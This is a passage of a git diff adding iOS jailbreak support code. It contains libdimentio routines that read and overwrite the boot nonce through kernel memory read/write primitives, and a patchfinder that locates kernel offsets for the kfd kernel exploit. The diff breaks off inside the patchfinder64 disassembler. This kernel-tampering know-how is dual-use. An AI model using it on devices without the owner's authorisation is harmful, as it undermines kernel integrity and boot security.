+ ret = set_nvram_prop(nvram_entry, kIONVRAMForceSyncNowPropertyKey, kBootNoncePropertyKey);
+ }
+ } else if(get_nvram_prop(nvram_entry, kBootNoncePropertyKey, nonce_hex, sizeof(nonce_hex)) == KERN_SUCCESS && sscanf(nonce_hex, "0x%016" PRIx64, nonce) == 1) {
+ ret = KERN_SUCCESS;
+ }
+ if(ret == KERN_SUCCESS) {
+ *nonce_d_sz = hash_nonce(*nonce, nonce_d);
+ }
+ IOObjectRelease(nvram_entry);
+ }
+ return ret;
+}
+
+void
+dimentio_term(void) {
+ if(tfp0 != TASK_NULL) {
+ mach_port_deallocate(mach_task_self(), tfp0);
+ } else if(kernrw_0 != NULL) {
+ dlclose(kernrw_0);
+ } else if(krw_0 != NULL) {
+ dlclose(krw_0);
+ } else if(kmem_fd != -1) {
+ close(kmem_fd);
+ }
+ setpriority(PRIO_PROCESS, 0, 0);
+}
+
+kern_return_t
+dimentio_init(kaddr_t _kbase, kread_func_t _kread_buf, kwrite_func_t _kwrite_buf) {
+ kernrw_0_req_kernrw_func_t kernrw_0_req;
+ cpu_subtype_t subtype;
+ size_t sz;
+
+ sz = sizeof(subtype);
+ if(sysctlbyname("hw.cpusubtype", &subtype, &sz, NULL, 0) == 0) {
+ if(subtype == CPU_SUBTYPE_ARM64E) {
+#if TARGET_OS_OSX
+ t1sz_boot = 17;
+#else
+ t1sz_boot = 25;
+#endif
+ }
+ kbase = _kbase;
+ if(_kread_buf != NULL && _kwrite_buf != NULL) {
+ kread_buf = _kread_buf;
+ kwrite_buf = _kwrite_buf;
+ } else if(init_tfp0() == KERN_SUCCESS) {
+ printf("tfp0: 0x%" PRIX32 "\n", tfp0);
+ kread_buf = kread_buf_tfp0;
+ kwrite_buf = kwrite_buf_tfp0;
+ } else if((kernrw_0 = dlopen("/usr/lib/libkernrw.0.dylib", RTLD_LAZY)) != NULL && (kernrw_0_req = (kernrw_0_req_kernrw_func_t)dlsym(kernrw_0, "requestKernRw")) != NULL && kernrw_0_req() == 0) {
+ kread_buf = (kread_func_t)dlsym(kernrw_0, "kernRW_readbuf");
+ kwrite_buf = (kwrite_func_t)dlsym(kernrw_0, "kernRW_writebuf");
+ } else if((krw_0 = dlopen("/usr/lib/libkrw.0.dylib", RTLD_LAZY)) != NULL && (krw_0_kread = (krw_0_kread_func_t)dlsym(krw_0, "kread")) != NULL && (krw_0_kwrite = (krw_0_kwrite_func_t)dlsym(krw_0, "kwrite")) != NULL) {
+ kread_buf = kread_buf_krw_0;
+ kwrite_buf = kwrite_buf_krw_0;
+ } else if((kmem_fd = open("/dev/kmem", O_RDWR | O_CLOEXEC)) != -1) {
+ kread_buf = kread_buf_kmem;
+ kwrite_buf = kwrite_buf_kmem;
+ }
+ if(kread_buf != NULL && kwrite_buf != NULL) {
+ setpriority(PRIO_PROCESS, 0, PRIO_MIN);
+ if(pfinder_init_offsets() == KERN_SUCCESS && (!has_proc_struct_sz || kread_buf(proc_struct_sz_ptr, &proc_struct_sz, sizeof(proc_struct_sz)) == KERN_SUCCESS)) {
+ return KERN_SUCCESS;
+ }
+ setpriority(PRIO_PROCESS, 0, 0);
+ }
+ if(tfp0 != TASK_NULL) {
+ mach_port_deallocate(mach_task_self(), tfp0);
+ } else if(kernrw_0 != NULL) {
+ dlclose(kernrw_0);
+ } else if(krw_0 != NULL) {
+ dlclose(krw_0);
+ } else if(kmem_fd != -1) {
+ close(kmem_fd);
+ }
+ }
+ return KERN_FAILURE;
+}
+
+kern_return_t
+dimentio(uint64_t *nonce, bool set, uint8_t nonce_d[CC_SHA384_DIGEST_LENGTH], size_t *nonce_d_sz) {
+ io_registry_entry_t nvram_entry = IORegistryEntryFromPath(kIOMasterPortDefault, kIODeviceTreePlane ":/options");
+ char nonce_hex[2 * sizeof(*nonce) + sizeof("0x")];
+ kaddr_t of_dict, os_string, string_ptr;
+ kern_return_t ret = KERN_FAILURE;
+
+ if(nvram_entry != IO_OBJECT_NULL) {
+ printf("nvram_entry: 0x%" PRIX32 "\n", nvram_entry);
+ if(find_task(getpid(), &our_task) == KERN_SUCCESS) {
+ kxpacd(&our_task);
+ printf("our_task: " KADDR_FMT "\n", our_task);
+ if((!set || nonce_generate() == KERN_SUCCESS) && get_of_dict(nvram_entry, &of_dict) == KERN_SUCCESS) {
+ printf("of_dict: " KADDR_FMT "\n", of_dict);
+ if((os_string = lookup_key_in_os_dict(of_dict, kBootNoncePropertyKey)) != 0) {
+ printf("os_string: " KADDR_FMT "\n", os_string);
+ if(kread_addr(os_string + OS_STRING_STRING_OFF, &string_ptr) == KERN_SUCCESS) {
+ kxpacd(&string_ptr);
+ printf("string_ptr: " KADDR_FMT "\n", string_ptr);
+ if(set) {
+ snprintf(nonce_hex, sizeof(nonce_hex), "0x%016" PRIx64, *nonce);
+ if(kwrite_buf(string_ptr, nonce_hex, sizeof(nonce_hex)) == KERN_SUCCESS) {
+ ret = sync_nonce(nvram_entry);
+ }
+ } else if(kread_buf(string_ptr, nonce_hex, sizeof(nonce_hex)) == KERN_SUCCESS && sscanf(nonce_hex, "0x%016" PRIx64, nonce) == 1) {
+ ret = KERN_SUCCESS;
+ }
+ if(ret == KERN_SUCCESS) {
+ *nonce_d_sz = hash_nonce(*nonce, nonce_d);
+ }
+ }
+ } else if(!set) {
+ puts("You have to set nonce first.");
+ }
+ }
+ }
+ IOObjectRelease(nvram_entry);
+ }
+ return ret;
+}
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.h b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.h
new file mode 100644
index 00000000..9545cb73
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.h
@@ -0,0 +1,53 @@
+//
+// patchfinder.h
+// kfd
+//
+// Created by Seo Hyun-gyu on 1/8/24.
+//
+
+#ifndef patchfinder_h
+#define patchfinder_h
+
+#import
+
+typedef UInt32 IOOptionBits;
+#define IO_OBJECT_NULL ((io_object_t)0)
+typedef mach_port_t io_object_t;
+typedef io_object_t io_registry_entry_t;
+extern const mach_port_t kIOMainPortDefault;
+typedef char io_string_t[512];
+
+kern_return_t
+IOObjectRelease(io_object_t object );
+
+io_registry_entry_t
+IORegistryEntryFromPath(mach_port_t, const io_string_t);
+
+CFTypeRef
+IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options);
+
+const char* get_kernversion(void);
+
+int do_static_patchfinder(void);
+
+int do_static_patchfinder_libdimentio(void);
+
+int do_dynamic_patchfinder(uint64_t kfd, uint64_t kbase);
+
+int import_kfd_offsets(void);
+
+int save_kfd_offsets(void);
+
+uint64_t get_vm_kernel_link_addr(void);
+
+extern uint64_t off_cdevsw;
+extern uint64_t off_gPhysBase;
+extern uint64_t off_gPhysSize;
+extern uint64_t off_gVirtBase;
+extern uint64_t off_perfmon_dev_open;
+extern uint64_t off_perfmon_devices;
+extern uint64_t off_ptov_table;
+extern uint64_t off_vn_kqfilter;
+extern uint64_t off_proc_object_size;
+
+#endif /* patchfinder_h */
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.m b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.m
new file mode 100644
index 00000000..9ecaead6
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.m
@@ -0,0 +1,207 @@
+//
+// patchfinder.m
+// kfd
+//
+// Created by Seo Hyun-gyu on 1/8/24.
+//
+
+#import
+#import
+#import
+#import "patchfinder.h"
+//#import "img4helper/img4.h"
+#import "patchfinder64.h"
+//#import "libgrabkernel/libgrabkernel.h"
+#import "libdimentio.h"
+#import "../krw.h"
+
+bool did_patchfinder = false;
+uint64_t off_cdevsw = 0;
+uint64_t off_gPhysBase = 0;
+uint64_t off_gPhysSize = 0;
+uint64_t off_gVirtBase = 0;
+uint64_t off_perfmon_dev_open = 0;
+uint64_t off_perfmon_devices = 0;
+uint64_t off_ptov_table = 0;
+uint64_t off_vn_kqfilter = 0;
+uint64_t off_proc_object_size = 0;
+
+const char* getBootManifestHash(void) {
+ struct statfs fs;
+ if (statfs("/usr/standalone/firmware", &fs) == 0) {
+ NSString *mountedPath = [NSString stringWithUTF8String:fs.f_mntfromname];
+ NSArray *components = [mountedPath componentsSeparatedByString:@"/"];
+ if ([components count] > 3) {
+ NSString *substring = components[3];
+ return substring.UTF8String;
+ }
+ }
+ return NULL;
+}
+
+const char* get_kernel_path(void) {
+ NSString *kernelPath = [NSString stringWithFormat:@"/private/preboot/%s%@", getBootManifestHash(), @"/System/Library/Caches/com.apple.kernelcaches/kernelcache"];
+
+ return kernelPath.UTF8String;
+}
+
+void removeIfExist(const char* path) {
+ if(access(path, F_OK) == 0) remove(path);
+}
+
+
+int do_dynamic_patchfinder(uint64_t kfd, uint64_t kbase) {
+ printf("[!] Starting dynamic patchfinder (Thanks 0x7ff)\n");
+
+ uint64_t vm_kernel_link_addr = get_vm_kernel_link_addr();
+ uint64_t kslide = kbase - vm_kernel_link_addr;
+ if (!kbase) {
+ return -1;
+ }
+ if (!kslide) {
+ return -1;
+ }
+ pfinder_t pfinder;
+ set_kbase(kbase);
+ set_kfd(kfd);
+ if(pfinder_init(&pfinder) != KERN_SUCCESS) {
+ return -1;
+ }
+ printf("pfinder_init: success!\n");
+
+ uint64_t cdevsw = pfinder_cdevsw(pfinder);
+ if(cdevsw) off_cdevsw = cdevsw - kslide;
+ printf("cdevsw: 0x%llx\n", off_cdevsw);
+ if(off_cdevsw == 0) return -1;
+
+ uint64_t gPhysBase = pfinder_gPhysBase(pfinder);
+ if(gPhysBase) off_gPhysBase = gPhysBase - kslide;
+ printf("gPhysBase: 0x%llx\n", off_gPhysBase);
+ if(off_gPhysBase == 0) return -1;
+
+ uint64_t gPhysSize = pfinder_gPhysSize(pfinder);
+ if(gPhysSize) off_gPhysSize = gPhysSize - kslide;
+ printf("gPhysSize: 0x%llx\n", off_gPhysSize);
+ if(off_gPhysSize == 0) return -1;
+
+ uint64_t gVirtBase = pfinder_gVirtBase(pfinder);
+ if(gVirtBase) off_gVirtBase = gVirtBase - kslide;
+ printf("gVirtBase: 0x%llx\n", off_gVirtBase);
+ if(off_gVirtBase == 0) return -1;
+
+ uint64_t perfmon_dev_open = pfinder_perfmon_dev_open(pfinder);
+ if(perfmon_dev_open) off_perfmon_dev_open = perfmon_dev_open - kslide;
+ printf("perfmon_dev_open: 0x%llx\n", off_perfmon_dev_open);
+ if(off_perfmon_dev_open == 0) return -1;
+
+ uint64_t perfmon_devices = pfinder_perfmon_devices(pfinder);
+ if(perfmon_devices) off_perfmon_devices = perfmon_devices - kslide;
+ printf("perfmon_devices: 0x%llx\n", off_perfmon_devices);
+ if(off_perfmon_devices == 0) return -1;
+
+ uint64_t ptov_table = pfinder_ptov_table(pfinder);
+ if(ptov_table) off_ptov_table = ptov_table - kslide;
+ printf("ptov_table: 0x%llx\n", off_ptov_table);
+ if(off_ptov_table == 0) return -1;
+
+ uint64_t vn_kqfilter = pfinder_vn_kqfilter(pfinder);
+ if(vn_kqfilter) off_vn_kqfilter = vn_kqfilter - kslide;
+ printf("vn_kqfilter: 0x%llx\n", off_vn_kqfilter);
+ if(off_vn_kqfilter == 0) return -1;
+
+ uint64_t proc_object_size = pfinder_proc_object_size(pfinder);
+ if(proc_object_size) off_proc_object_size = proc_object_size;
+ printf("proc_object_size: 0x%llx\n", off_proc_object_size);
+ if(off_proc_object_size == 0) return -1;
+
+ pfinder_term(&pfinder);
+
+ save_kfd_offsets();
+
+ return 0;
+}
+
+const char* get_kernversion(void) {
+ char kern_version[512] = {};
+ size_t size = sizeof(kern_version);
+ sysctlbyname("kern.version", &kern_version, &size, NULL, 0);
+ printf("current kern.version: %s\n", kern_version);
+
+ return strdup(kern_version);;
+}
+
+int import_kfd_offsets(void) {
+ // NSString* save_path = [NSString stringWithFormat:@"%@/Documents/kfund_offsets.plist", NSHomeDirectory()];
+ NSString* save_path = @"/var/mobile/Documents/kfund_offsets.plist";
+ if(access(save_path.UTF8String, F_OK) == -1)
+ return -1;
+
+ NSDictionary *offsets = [NSDictionary dictionaryWithContentsOfFile:save_path];
+ NSString *saved_kern_version = [offsets objectForKey:@"kern_version"];
+ if(strcmp(get_kernversion(), saved_kern_version.UTF8String) != 0)
+ return -1;
+
+ printf("[!] Found saved kfd offsets\n");
+
+ off_cdevsw = [offsets[@"off_cdevsw"] unsignedLongLongValue];
+ printf("cdevsw: 0x%llx\n", off_cdevsw);
+ off_gPhysBase = [offsets[@"off_gPhysBase"] unsignedLongLongValue];
+ printf("gPhysBase: 0x%llx\n", off_gPhysBase);
+ off_gPhysSize = [offsets[@"off_gPhysSize"] unsignedLongLongValue];
+ printf("gPhysSize: 0x%llx\n", off_gPhysSize);
+ off_gVirtBase = [offsets[@"off_gVirtBase"] unsignedLongLongValue];
+ printf("gVirtBase: 0x%llx\n", off_gVirtBase);
+ off_perfmon_dev_open = [offsets[@"off_perfmon_dev_open"] unsignedLongLongValue];
+ printf("perfmon_dev_open: 0x%llx\n", off_perfmon_dev_open);
+ off_perfmon_devices = [offsets[@"off_perfmon_devices"] unsignedLongLongValue];
+ printf("perfmon_devices: 0x%llx\n", off_perfmon_devices);
+ off_ptov_table = [offsets[@"off_ptov_table"] unsignedLongLongValue];
+ printf("ptov_table: 0x%llx\n", off_ptov_table);
+ off_vn_kqfilter = [offsets[@"off_vn_kqfilter"] unsignedLongLongValue];
+ printf("vn_kqfilter: 0x%llx\n", off_vn_kqfilter);
+ off_proc_object_size = [offsets[@"off_proc_object_size"] unsignedLongLongValue];
+ printf("proc_object_size: 0x%llx\n", off_proc_object_size);
+
+ return 0;
+}
+
+int save_kfd_offsets(void) {
+ // NSString* save_path = [NSString stringWithFormat:@"%@/Documents/kfund_offsets.plist", NSHomeDirectory()];
+ NSString* save_path = @"/var/mobile/Documents/kfund_offsets.plist";
+ remove(save_path.UTF8String);
+
+ printf("[!] Saving kfd offsets\n");
+
+ NSDictionary *offsets = @{
+ @"kern_version": @(get_kernversion()),
+ @"off_cdevsw": @(off_cdevsw),
+ @"off_gPhysBase": @(off_gPhysBase),
+ @"off_gPhysSize": @(off_gPhysSize),
+ @"off_gVirtBase": @(off_gVirtBase),
+ @"off_perfmon_dev_open": @(off_perfmon_dev_open),
+ @"off_perfmon_devices": @(off_perfmon_devices),
+ @"off_ptov_table": @(off_ptov_table),
+ @"off_vn_kqfilter": @(off_vn_kqfilter),
+ @"off_proc_object_size": @(off_proc_object_size),
+ };
+
+ BOOL success = [offsets writeToFile:save_path atomically:YES];
+ if (!success) {
+ printf("failed to saved offsets: %s\n", save_path.UTF8String);
+ return -1;
+ }
+ printf("saved offsets for kfd: %s\n", save_path.UTF8String);
+
+ return 0;
+}
+
+uint64_t get_vm_kernel_link_addr(void) {
+ const char* kernversion = get_kernversion();
+ uint64_t retval;
+ if(strstr(kernversion, "T8103") != NULL || strstr(kernversion, "T8112") != NULL)
+ retval = 0xFFFFFE0007004000;
+ else
+ retval = 0xFFFFFFF007004000;
+ free((void*)kernversion);
+ return retval;
+}
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.h b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.h
new file mode 100644
index 00000000..d92e67bb
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.h
@@ -0,0 +1,42 @@
+#ifndef PATCHFINDER64_H_
+#define PATCHFINDER64_H_
+
+#include
+#include
+#include
+
+extern bool auth_ptrs;
+extern bool monolithic_kernel;
+
+int init_kernel(size_t (*kread)(uint64_t, void *, size_t), uint64_t kernel_base, const char *filename);
+void term_kernel(void);
+
+enum text_bases {
+ text_xnucore_base = 0,
+ text_prelink_base,
+ text_ppl_base
+};
+
+enum string_bases {
+ string_base_cstring = 0,
+ string_base_pstring,
+ string_base_oslstring,
+ string_base_data,
+ string_base_const
+};
+
+uint64_t find_register_value(uint64_t where, int reg);
+uint64_t find_reference(uint64_t to, int n, enum text_bases base);
+uint64_t find_strref(const char *string, int n, enum string_bases string_base, bool full_match, bool ppl_base);
+
+uint64_t find_cdevsw(void);
+uint64_t find_gPhysBase(void);
+uint64_t find_gPhysSize(void);
+uint64_t find_gVirtBase(void);
+uint64_t find_perfmon_dev_open(void);
+uint64_t find_perfmon_devices(void);
+uint64_t find_ptov_table(void);
+uint64_t find_vn_kqfilter(void);
+uint64_t find_proc_object_size(void);
+
+#endif
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.m b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.m
new file mode 100644
index 00000000..31f24a0b
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.m
@@ -0,0 +1,1452 @@
+//
+// patchfinder64.c
+// extra_recipe
+//
+// Created by xerub on 06/06/2017.
+// Copyright © 2017 xerub. All rights reserved.
+//
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "patchfinder64.h"
+
+bool auth_ptrs = false;
+typedef unsigned long long addr_t;
+static addr_t kerndumpbase = -1;
+static addr_t xnucore_base = 0;
+static addr_t xnucore_size = 0;
+static addr_t ppl_base = 0;
+static addr_t ppl_size = 0;
+static addr_t prelink_base = 0;
+static addr_t prelink_size = 0;
+static addr_t cstring_base = 0;
+static addr_t cstring_size = 0;
+static addr_t pstring_base = 0;
+static addr_t pstring_size = 0;
+static addr_t oslstring_base = 0;
+static addr_t oslstring_size = 0;
+static addr_t data_base = 0;
+static addr_t data_size = 0;
+static addr_t data_const_base = 0;
+static addr_t data_const_size = 0;
+static addr_t const_base = 0;
+static addr_t const_size = 0;
+static addr_t kernel_entry = 0;
+static void *kernel_mh = 0;
+static addr_t kernel_delta = 0;
+bool monolithic_kernel = false;
+
+
+#define IS64(image) (*(uint8_t *)(image) & 1)
+
+#define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface)
+
+/* generic stuff *************************************************************/
+
+#define UCHAR_MAX 255
+
+/* these operate on VA ******************************************************/
+
+#define INSN_RET 0xD65F03C0, 0xFFFFFFFF
+#define INSN_CALL 0x94000000, 0xFC000000
+#define INSN_B 0x14000000, 0xFC000000
+#define INSN_CBZ 0x34000000, 0x7F000000
+#define INSN_ADRP 0x90000000, 0x9F000000
+
+static unsigned char *
+boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
+ const unsigned char* needle, size_t nlen)
+{
+ size_t last, scan = 0;
+ size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
+ * bad character shift */
+
+ /* Sanity checks on the parameters */
+ if (nlen <= 0 || !haystack || !needle)
+ return NULL;
+
+ /* ---- Preprocess ---- */
+ /* Initialize the table to default value */
+ /* When a character is encountered that does not occur
+ * in the needle, we can safely skip ahead for the whole
+ * length of the needle.
+ */
+ for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
+ bad_char_skip[scan] = nlen;
+
+ /* C arrays have the first byte at [0], therefore:
+ * [nlen - 1] is the last byte of the array. */
+ last = nlen - 1;
+
+ /* Then populate it with the analysis of the needle */
+ for (scan = 0; scan < last; scan = scan + 1)
+ bad_char_skip[needle[scan]] = last - scan;
+
+ /* ---- Do the matching ---- */
+
+ /* Search the haystack, while the needle can still be within it. */
+ while (hlen >= nlen)
+ {
+ /* scan from the end of the needle */
+ for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
+ if (scan == 0) /* If the first byte matches, we've found it. */
+ return (void *)haystack;
+
+ /* otherwise, we need to skip some bytes and start again.
+ Note that here we are getting the skip value based on the last byte
+ of needle, no matter where we didn't match. So if needle is: "abcd"
+ then we are skipping based on 'd' and that value will be 4, and
+ for "abcdd" we again skip on 'd' but the value will be only 1.
+ The alternative of pretending that the mismatched character was
+ the last character is slower in the normal case (E.g. finding
+ "abcd" in "...azcd..." gives 4 by using 'd' but only
+ 4-2==2 using 'z'. */
+ hlen -= bad_char_skip[haystack[last]];
+ haystack += bad_char_skip[haystack[last]];
+ }
+
+ return NULL;
+}
+
+/* disassembler **************************************************************/
+
+static int HighestSetBit(int N, uint32_t imm)
+{
+ int i;
+ for (i = N - 1; i >= 0; i--) {
+ if (imm & (1 << i)) {
+ return i;
+ }
+ }
+ return -1;
+}
+
+static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width
+{
+ (void)N;
+ return ((uint64_t)1 << M) - 1;
+}
+
+static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R)
+{
+ uint64_t val = ZeroExtendOnes(M, N);
+ if (R == 0) {
+ return val;
+ }
+ return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R));
+}
+
+static uint64_t Replicate(uint64_t val, unsigned bits)
+{
+ uint64_t ret = val;
+ unsigned shift;
+ for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64
+ ret |= (val << shift);
+ }
+ return ret;
+}
+
+static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval)
+{
+ unsigned levels, S, R, esize;
+ int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F));
+ if (len < 1) {
+ return -1;
+ }
+ levels = (unsigned int)ZeroExtendOnes(len, 6);
+ if (immediate && (imms & levels) == levels) {
+ return -1;
+ }
+ S = imms & levels;
+ R = immr & levels;
+ esize = 1 << len;
+ *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize);
+ return 0;
+}
+
+static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval)
+{
+ unsigned o = (opcode >> 29) & 3;
+ unsigned k = (opcode >> 23) & 0x3F;
+ unsigned rn, rd;
+ uint64_t i;
+
+ if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate)
+ unsigned s = (opcode >> 31) & 1;
+ unsigned N = (opcode >> 22) & 1;
+ if (s == 0 && N != 0) {
+ return -1;
+ }
+ rn = (opcode >> 5) & 0x1F;
+ if (rn == 31) {
+ unsigned imms = (opcode >> 10) & 0x3F;
+ unsigned immr = (opcode >> 16) & 0x3F;
+ return DecodeBitMasks(N, imms, immr, 1, newval);
+ }
+ } else if (k == 0x25) { // MOVN/MOVZ/MOVK
+ unsigned s = (opcode >> 31) & 1;
+ unsigned h = (opcode >> 21) & 3;
+ if (s == 0 && h > 1) {
+ return -1;
+ }
+ i = (opcode >> 5) & 0xFFFF;
+ h *= 16;
+ i <<= h;
+ if (o == 0) { // MOVN
+ *newval = ~i;
+ return 0;
+ } else if (o == 2) { // MOVZ
+ *newval = i;
+ return 0;
+ } else if (o == 3 && !first) { // MOVK
+ *newval = (total & ~((uint64_t)0xFFFF << h)) | i;
+ return 0;
+ }
+ } else if ((k | 1) == 0x23 && !first) { // ADD (immediate)
+ unsigned h = (opcode >> 22) & 3;
+ if (h > 1) {
+ return -1;
+ }
+ rd = opcode & 0x1F;
+ rn = (opcode >> 5) & 0x1F;
+ if (rd != rn) {
+ return -1;
+ }
+ i = (opcode >> 10) & 0xFFF;
+ h *= 12;
+ i <<= h;
+ if (o & 2) { // SUB
+ *newval = total - i;
+ return 0;
+ } else { // ADD
+ *newval = total + i;
+ return 0;
+ }
+ }
+
+ return -1;
+}
+
+/* patchfinder ***************************************************************/
+
+static addr_t
+step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
+{
+ addr_t end = start + length;
+ while (start < end) {
+ uint32_t x = *(uint32_t *)(buf + start);
+ if ((x & mask) == what) {
+ return start;
+ }
+ start += 4;
+ }
+ return 0;
+}
+
+static addr_t
+step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
+{
+ addr_t end = start - length;
+ while (start >= end) {
+ uint32_t x = *(uint32_t *)(buf + start);
+ if ((x & mask) == what) {
+ return start;
+ }
+ start -= 4;
+ }
+ return 0;
+}
+
+static addr_t
+step_adrp_to_reg(const uint8_t *buf, addr_t start, size_t length, int reg)
+{
+ return step64(buf, start, length, 0x90000000 | (reg&0x1F), 0x9F00001F);
+}
+
+static addr_t
+bof64(const uint8_t *buf, addr_t start, addr_t where)
+{
+ if (auth_ptrs) {
+ for (; where >= start; where -= 4) {
+ uint32_t op = *(uint32_t *)(buf + where);
+ if (op == 0xD503237F) {
+ return where;
+ }
+ }
+ return 0;
+ }
+ for (; where >= start; where -= 4) {
+ uint32_t op = *(uint32_t *)(buf + where);
+ if ((op & 0xFFC003FF) == 0x910003FD) {
+ unsigned delta = (op >> 10) & 0xFFF;
+ //printf("0x%llx: ADD X29, SP, #0x%x\n", where + kerndumpbase, delta);
+ if ((delta & 0xF) == 0) {
+ addr_t prev = where - ((delta >> 4) + 1) * 4;
+ uint32_t au = *(uint32_t *)(buf + prev);
+ //printf("0x%llx: (%llx & %llx) == %llx\n", prev + kerndumpbase, au, 0x3BC003E0, au & 0x3BC003E0);
+ if ((au & 0x3BC003E0) == 0x298003E0) {
+ //printf("%x: STP x, y, [SP,#-imm]!\n", prev);
+ return prev;
+ } else if ((au & 0x7F8003FF) == 0x510003FF) {
+ //printf("%x: SUB SP, SP, #imm\n", prev);
+ return prev;
+ }
+ for (addr_t diff = 4; diff < delta/4+4; diff+=4) {
+ uint32_t ai = *(uint32_t *)(buf + where - diff);
+ // SUB SP, SP, #imm
+ //printf("0x%llx: (%llx & %llx) == %llx\n", where - diff + kerndumpbase, ai, 0x3BC003E0, ai & 0x3BC003E0);
+ if ((ai & 0x7F8003FF) == 0x510003FF) {
+ return where - diff;
+ }
+ // Not stp and not str
+ if (((ai & 0xFFC003E0) != 0xA90003E0) && (ai&0xFFC001F0) != 0xF90001E0) {
+ break;
+ }
+ }
+ // try something else
+ while (where > start) {
+ where -= 4;
+ au = *(uint32_t *)(buf + where);
+ // SUB SP, SP, #imm
+ if ((au & 0xFFC003FF) == 0xD10003FF && ((au >> 10) & 0xFFF) == delta + 0x10) {
+ return where;
+ }
+ // STP x, y, [SP,#imm]
+ if ((au & 0xFFC003E0) != 0xA90003E0) {
+ where += 4;
+ break;
+ }
+ }
+ }
+ }
+ }
+ return 0;
+}
+
+static addr_t
+xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what)
+{
+ addr_t i;
+ uint64_t value[32];
+
+ memset(value, 0, sizeof(value));
+
+ end &= ~3;
+ for (i = start & ~3; i < end; i += 4) {
+ uint32_t op = *(uint32_t *)(buf + i);
+ unsigned reg = op & 0x1F;
+
+ if ((op & 0x9F000000) == 0x90000000) {
+ signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
+ //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
+ value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
+ continue; // XXX should not XREF on its own?
+ /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
+ unsigned rd = op & 0x1F;
+ unsigned rm = (op >> 16) & 0x1F;
+ //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
+ value[rd] = value[rm];*/
+ } else if ((op & 0xFF000000) == 0x91000000) {
+ unsigned rn = (op >> 5) & 0x1F;
+ if (rn == 0x1f) {
+ // ignore ADD Xn, SP
+ value[reg] = 0;
+ continue;
+ }
+
+ unsigned shift = (op >> 22) & 3;
+ unsigned imm = (op >> 10) & 0xFFF;
+ if (shift == 1) {
+ imm <<= 12;
+ } else {
+ //assert(shift == 0);
+ if (shift > 1) continue;
+ }
+ //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
+ value[reg] = value[rn] + imm;
+ } else if ((op & 0xF9C00000) == 0xF9400000) {
+ unsigned rn = (op >> 5) & 0x1F;
+ unsigned imm = ((op >> 10) & 0xFFF) << 3;
+ //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
+ if (!imm) continue; // XXX not counted as true xref
+ value[reg] = value[rn] + imm; // XXX address, not actual value
+ /*} else if ((op & 0xF9C00000) == 0xF9000000) {
+ unsigned rn = (op >> 5) & 0x1F;
+ unsigned imm = ((op >> 10) & 0xFFF) << 3;
+ //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
+ if (!imm) continue; // XXX not counted as true xref
+ value[rn] = value[rn] + imm; // XXX address, not actual value*/
+ } else if ((op & 0x9F000000) == 0x10000000) {
+ signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
+ //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
+ value[reg] = ((long long)adr >> 11) + i;
+ } else if ((op & 0xFF000000) == 0x58000000) {
+ unsigned adr = (op & 0xFFFFE0) >> 3;
+ //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
+ value[reg] = adr + i; // XXX address, not actual value
+ } else if ((op & 0xFC000000) == 0x94000000) {
+ // BL addr
+ signed imm = (op & 0x3FFFFFF) << 2;
+ if (op & 0x2000000) {
+ imm |= 0xf << 28;
+ }
+ unsigned adr = (unsigned)(i + imm);
+ if (adr == what) {
+ return i;
+ }
+ }
+ // Don't match SP as an offset
+ if (value[reg] == what && reg != 0x1f) {
+ return i;
+ }
+ }
+ return 0;
+}
+
+static addr_t
+calc64(const uint8_t *buf, addr_t start, addr_t end, int which)
+{
+ addr_t i;
+ uint64_t value[32];
+
+ memset(value, 0, sizeof(value));
+
+ end &= ~3;
+ for (i = start & ~3; i < end; i += 4) {
+ uint32_t op = *(uint32_t *)(buf + i);
+ unsigned reg = op & 0x1F;
+ if ((op & 0x9F000000) == 0x90000000) {
